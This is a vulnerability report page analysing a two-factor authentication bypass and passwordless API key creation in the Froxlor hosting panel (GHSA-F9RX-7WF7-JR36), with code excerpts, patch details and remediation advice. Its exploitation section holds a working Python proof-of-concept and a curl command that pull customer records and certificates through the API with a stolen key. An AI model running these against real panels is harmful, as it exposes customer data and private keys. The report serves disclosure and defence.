CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



GHSA-F9RX-7WF7-JR36

GHSA-F9RX-7WF7-JR36: Two-Factor Authentication Bypass and Passwordless API Key Creation in Froxlor

Alon Barad
Alon Barad
Software Engineer

Jun 3, 2026·5 min read·17 visits

Executive Summary (TL;DR)

Froxlor's API endpoint completely omits Two-Factor Authentication status checks. Attackers possessing an API key can execute administrative commands on 2FA-protected accounts. Additionally, versions prior to 2.3.7 allowed passwordless generation of these keys.

An architectural flaw in the Froxlor server administration control panel allows attackers to completely bypass Two-Factor Authentication (2FA) by issuing commands directly through the API. The API authentication routine in 'FroxlorRPC::validateAuth' fails to check the account's 2FA status, enabling arbitrary execution of administrative and customer actions. Furthermore, in versions prior to 2.3.7, API keys could be created without validating the current user password, exposing users to persistent backdoor access via session hijacking or CSRF.

Vulnerability Overview

Froxlor is an open-source server administration control panel used to manage web hosting environments. The software implements two main communication vectors for administrative and customer actions: an interactive web-based User Interface (UI) and a programmatic API endpoint located at /api.php.

While the web UI enforces Two-Factor Authentication (2FA) via time-based one-time passwords (TOTP), the programmatic API relies on key-based authentication. This multi-channel architecture introduces a security mismatch if authorization logic is not kept consistent across both channels.

The vulnerability cataloged under GHSA-F9RX-7WF7-JR36 details an authentication bypass flaw within the API subsystem. Because the API route does not verify the active 2FA state of an account, an attacker possessing an API key can completely bypass MFA, exposing a broad administrative attack surface.

Root Cause Analysis

The fundamental flaw resides within the API authentication routine implemented in lib/Froxlor/Api/FroxlorRPC.php inside the private static method validateAuth.

When a request is submitted to /api.php, authentication parameters are evaluated. The verification routine queries the database to match the incoming key and secret, verifying permissions and expiration parameters:

private static function validateAuth(string $key, string $secret): bool
{
    $sel_stmt = Database::prepare("
        SELECT ak.*, a.api_allowed as admin_api_allowed,
               c.api_allowed as cust_api_allowed, c.deactivated
        FROM `api_keys` ak
        LEFT JOIN `panel_admins` a ON a.adminid = ak.adminid
        LEFT JOIN `panel_customers` c ON c.customerid = ak.customerid
        WHERE `apikey` = :ak AND `secret` = :as
    ");
    // ... checks expiration and permissions ...
}

This validation process confirms key validity but completely neglects the type_2fa column or TOTP state of the associated user. Thus, the database query checks permission flags but omits multi-factor authentication constraints.

This behavior is compounded by a flaw in api_keys.php where users could generate API keys without re-entering their account password. Consequently, an attacker utilizing Cross-Site Request Forgery (CSRF) or a hijacked session could generate persistent API credentials to establish a permanent backdoor.

Code Analysis and Patch Evaluation

In versions of Froxlor prior to 2.3.7, creating a new API key in api_keys.php only required a simple POST request with a confirmation token, lacking authentication checks:

// Vulnerable logic in api_keys.php
} elseif ($action == 'add') {
	if (Request::post('send') == 'send') {
		$ins_stmt = Database::prepare("
			INSERT INTO `" . TABLE_API_KEYS . "` SET
			`apikey` = :key, `secret` = :secret, `adminid` = :aid, `customerid` = :cid, `valid_until` = '-1', `allowed_from` = ''
		");

To remediate this key-generation vector, the maintainers implemented password verification inside the key generation path of version 2.3.7:

// Patched logic in api_keys.php
$user_passwd = Request::post('user_password');
if (empty($user_passwd)) {
	Response::dynamicError(lng('panel.noauthentication'));
}
if ($userinfo['adminsession']) {
	$table = "`" . TABLE_PANEL_ADMINS . "`";
	$uid = 'adminid';
} else {
	$table = "`" . TABLE_PANEL_CUSTOMERS . "`";
	$uid = 'customerid';
}
if (\Froxlor\System\Crypt::validatePasswordLogin($userinfo, $user_passwd, $table, $uid)) {
	// Cryptographically secure API key generation follows
	$key = hash('sha256', openssl_random_pseudo_bytes(64 * 64));
	$secret = hash('sha512', openssl_random_pseudo_bytes(64 * 64 * 4));
	// ... database insert executes ...
} else {
	Response::dynamicError(lng('panel.authenticationfailed'));
}

While this fix prevents unauthorized creation of new API keys via CSRF or hijacked sessions, the underlying architectural bypass remains if an existing API key is exposed. The API route itself does not incorporate a secondary factor, meaning any leaked key continues to offer 2FA-bypass access by design.

Exploitation and Attack Methodology

An attacker can exploit this vulnerability by routing requests directly to the API endpoint, completely bypassing the interactive 2FA checks on /index.php.

To demonstrate this bypass, an attacker can use the following Python script to retrieve customer listings from a 2FA-protected account without supplying a TOTP token:

import sys
import requests
import urllib3
 
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
 
if len(sys.argv) < 4:
    print(f"Usage: {sys.argv[0]} <target_url> <api_key> <api_secret>")
    sys.exit(1)
 
target = sys.argv[1].rstrip('/')
key = sys.argv[2]
secret = sys.argv[3]
api_url = f"{target}/api.php"
payload = {"command": "Customers.listing", "params": {}}
 
try:
    r = requests.post(api_url, auth=(key, secret), json=payload, verify=False, timeout=10)
    data = r.json()
    if "data" in data and "list" in data["data"]:
        print(f"[+] Success: Bypassed 2FA. Retrieved records:")
        for customer in data["data"]["list"]:
            print(f"Username: {customer.get('loginname')} | Email: {customer.get('email')}")
except Exception as e:
    print(f"[-] Error: {e}")

Alternatively, direct commands can be sent using curl to extract database credentials or certificates:

curl -s -u "KEY:SECRET" -H "Content-Type: application/json" -d '{"command":"Certificates.listing","params":{}}' https://panel.example.com/api.php

Impact Assessment

The impact of this authentication bypass is high because the Froxlor API exposes more than 165 functions. This exposure grants a threat actor extensive read and write capabilities over the hosting platform.

Attackers can modify DNS zone files to conduct domain hijacking, read database access details, alter mail routing, and exfiltrate customer databases. Access to SSL private keys is also possible through the API.

In multi-tenant shared-hosting deployments, compromising a single administrative credential grants full control over other hosted customers, making this vulnerability highly consequential for hosting providers.

Remediation and Mitigation

To fully resolve this security issue, administrators must upgrade Froxlor to version 2.3.7 or higher, which introduces password-validation checks for API key generation.

After applying the update, administrators must conduct an audit of all active API keys. It is recommended to revoke and regenerate existing API credentials, particularly for accounts utilizing 2FA.

Where upgrading cannot be performed immediately, administrators should implement IP whitelisting or disable access to /api.php at the web server configuration level to restrict API usage to authorized origins.

Official Patches

FroxlorFroxlor Security Release 2.3.7
FroxlorFroxlor Comparison Diff containing authentication patches

Technical Appendix

CVSS Score
8.1/ 10
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Affected Systems

Froxlor Server Administration Control Panel

Affected Versions Detail

Product
Affected Versions
Fixed Version
Froxlor
Froxlor
< 2.3.72.3.7
AttributeDetail
CWE IDCWE-287
Attack VectorNetwork
CVSS v3.18.1
Exploit StatusProof of Concept
KEV StatusNot Listed

MITRE ATT&CK Mapping

T1110Brute Force
Credential Access
T1556Modify Authentication Process
Credential Access
CWE-287
Improper Authentication

The software does not prove or insufficiently proves that a user is who they claim to be.

Known Exploits & Detection

Froxlor Technical Security Research ReportProof of Concept script demonstrating the extraction of customer data bypassing the 2FA requirement

Vulnerability Timeline

Official advisory released under identifier GHSA-F9RX-7WF7-JR36
2026-06-03
Froxlor security update 2.3.7 published resolving authentication bypass
2026-06-03

References & Sources

  • [1]Official GitHub Security Advisory GHSA-F9RX-7WF7-JR36
  • [2]GitHub Advisory Database Entry
  • [3]Related Advisory

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•3 days ago•CVE-2026-87697
8.8

CVE-2026-87697: Untrusted Deserialization in .NET PresentationCore Clipboard Handling

A remote code execution vulnerability exists in Microsoft .NET due to untrusted data deserialization within the PresentationCore component. The flaw stems from implicit auto-conversion flags during clipboard data retrieval operations.

Alon Barad
Alon Barad
21 views•5 min read
•3 days ago•CVE-2026-70007
8.8

CVE-2026-70007: Out-of-Bounds Write Vulnerability in .NET Framework and WPF Subsystem

An out-of-bounds write vulnerability in Microsoft .NET Framework, .NET runtime, and Visual Studio allows unauthenticated remote attackers to execute arbitrary code via crafted pixel-shader bytecode or auto-converted clipboard payloads.

Amit Schendel
Amit Schendel
11 views•6 min read
•3 days ago•CVE-2026-70186
7.5

CVE-2026-70186: ASP.NET Core Denial of Service Vulnerability via Framework Deadlock

ASP.NET Core contains a thread deadlock vulnerability (CWE-833) that allows an unauthenticated remote attacker to cause a denial of service over the network by exhausting server thread pool resources.

Amit Schendel
Amit Schendel
11 views•5 min read
•3 days ago•CVE-2026-70035
8.8

CVE-2026-70035: Insecure Deserialization Remote Code Execution in Microsoft .NET Framework and .NET Runtime

CVE-2026-70035 is a high-severity Remote Code Execution (RCE) vulnerability in Microsoft .NET Framework, .NET runtime, and Visual Studio caused by improper handling during the deserialization of untrusted data (CWE-502). An unauthenticated attacker can execute arbitrary code within the context of the affected process by delivering a crafted serialized payload.

Amit Schendel
Amit Schendel
18 views•6 min read
•3 days ago•CVE-2026-70183
7.5

CVE-2026-70183: Elevation of Privilege in ASP.NET Core and Visual Studio via Concurrent Race Condition

An elevation of privilege vulnerability exists in ASP.NET Core and Microsoft Visual Studio due to improper synchronization during concurrent thread execution. Authenticated remote attackers with low privileges can exploit a timing window to manipulate shared resources and assume higher-level execution contexts.

Alon Barad
Alon Barad
14 views•5 min read
•6 days ago•CVE-2026-107844
5.3

CVE-2026-107844: Path Traversal Vulnerability in Contao ImagesController

A path traversal vulnerability (CWE-22) in Contao CMS allows unauthenticated remote attackers to bypass directory boundary restrictions in ImagesController and access files within the project directory.

Amit Schendel
Amit Schendel
23 views•5 min read